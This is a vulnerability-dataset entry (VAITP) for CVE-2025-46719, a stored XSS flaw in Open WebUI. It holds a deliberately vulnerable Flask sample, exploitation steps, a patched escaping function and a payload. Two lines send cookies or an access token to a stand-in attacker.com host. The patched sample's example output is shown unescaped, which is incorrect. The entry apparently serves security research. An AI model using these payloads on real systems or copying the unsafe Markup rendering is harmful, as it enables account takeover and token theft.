CVE-2025-46719
OpenWebUI < 0.6.6 vulnerable to stored XSS. Allows account takeover/RCE via chat transcript injection.
- CVSS 5.4
- CWE-79
- Input Validation and Sanitization
- Remote
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.6.6, a vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel. If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosted. This can be done by creating a new function which contains malicious python code. This vulnerability also affects chat transcripts uploaded to `https://openwebui.com/c/<user>/<chat_id>`, allowing for wormable stored XSS in https[:]//openwebui[.]com. Version 0.6.6 contains a patch for the issue.
- CWE
- CWE-79
- CVSS base score
- 5.4
- Published
- 2025-05-05
- OWASP
- A03 Injection
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Input Validation and Sanitization
- Subcategory
- Cross-Site Scripting (XSS)
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Open WebUI
- Fixed by upgrading
- Yes
Solution
Upgrade to version 0.6.6.
Vulnerable code sample
from flask import Flask, request, render_template, session
from flask import Markup
app = Flask(__name__)
app.secret_key = 'your_secret_key' # In a real application, use a strong, randomly generated secret key
@app.route('/', methods=['GET', 'POST'])
def chat():
"""Vulnerable function that demonstrates the security issue."""
messages = session.get('messages', [])
if request.method == 'POST':
user_input = request.form['user_input']
# Vulnerable code: Unsafe rendering of user input
# This renders user input directly as HTML without proper sanitization.
# This allows for XSS attacks.:
message = Markup(f"<p>User: {user_input}</p>")
messages.append(message)
session['messages'] = messages
return render_template('chat.html', messages=messages)
if __name__ == '__main__':
app.run(debug=True)
```
**chat.html (Example Template):**
```html
<!DOCTYPE html>
<html>
<head>
<title>Simple Chat</title>
</head>
<body>
<h1>Simple Chat</h1>
<div id="chat-log">
{% for message in messages %}:
{{ message }}
{% endfor %}:
</div>
<form method="post">
<input type="text" name="user_input" placeholder="Enter your message">
<button type="submit">Send</button>
</form>
</body>
</html>
```
**Explanation:**
This simplified example simulates the core vulnerability described in CVE-2025-46719. The critical part is this line within the `chat()` function:
```python
message = Markup(f"<p>User: {user_input}</p>")
```
* **Unsafe Rendering:** The `user_input` (coming directly from the user's form submission) is embedded into an HTML string. Crucially, this HTML string is then wrapped with `Markup` object, telling Jinja2 (Flask's templating engine) **not** to escape the HTML. Jinja2 would normally escape any HTML entities to prevent XSS, but the `Markup` object effectively bypasses this protection.
* **XSS Vulnerability:** An attacker can inject JavaScript code by including it within the `user_input`. For example, submitting `<script>alert('XSS')</script>` will cause an alert box to appear in the user's browser. In a real attack, the attacker would inject more malicious JavaScript to steal cookies (including access tokens) or perform other actions on behalf of the user.
**How the Vulnerability Would Be Exploited:**
1. **Attacker Crafts Malicious Input:** The attacker prepares a message containing JavaScript code (e.g., `<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>`).
2. **Attacker Sends the Message:** The attacker sends this malicious message through the chat interface.
3. **Vulnerable Application Renders the Message:** The application receives the message and, because of the insecure HTML rendering, directly inserts the attacker's JavaScript into the chat log.
4. **JavaScript Executes in Victim's Browser:** When the victim views the chat log, the attacker's JavaScript executes. This JavaScript can then perform actions like stealing cookies (containing session tokens), redirecting the user, or modifying the page content.
5. **Lateral movement**: As the vulnerability description says `Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel.` if the attacker uploads this malicious chat transcript to a community chat, the rest of the users in the community will be affected as well, creating a `wormable stored XSS`:
**Important:** This is a highly simplified example to illustrate the core principle. A real-world Open WebUI application would likely have more complex code and potentially other contributing factors. However, the fundamental issue of unsanitized user input being rendered as HTML is what allows the vulnerability to be exploited.Patched code sample
from markupsafe import escape
def sanitize_message(message):
"""Secure function that fixes the vulnerability."""
# SECURE: This version prevents xss
"""
Sanitizes a chat message to prevent XSS vulnerabilities.
This function uses the `markupsafe.escape` function to escape HTML special characters
in the message, preventing malicious JavaScript code from being injected and executed.
Args:
message: The chat message string to sanitize.
Returns:
The sanitized chat message string.
"""
return escape(message)
# Example usage:
# Unsafe message: '<script>alert("XSS");</script>Hello'
# Sanitized message: <script>alert("XSS");</script>Hello
# Function to use before displaying the message in the UI.
def display_message(message):
"""Secure function that fixes the vulnerability."""
safe_message = sanitize_message(message)
return safe_messagePayload
<img src=x onerror="fetch('https://attacker.com/collect?token='+localStorage.getItem('accessToken'))">
Cite this entry
@misc{vaitp:cve202546719,
title = {{OpenWebUI < 0.6.6 vulnerable to stored XSS. Allows account takeover/RCE via chat transcript injection.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-46719},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-46719/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
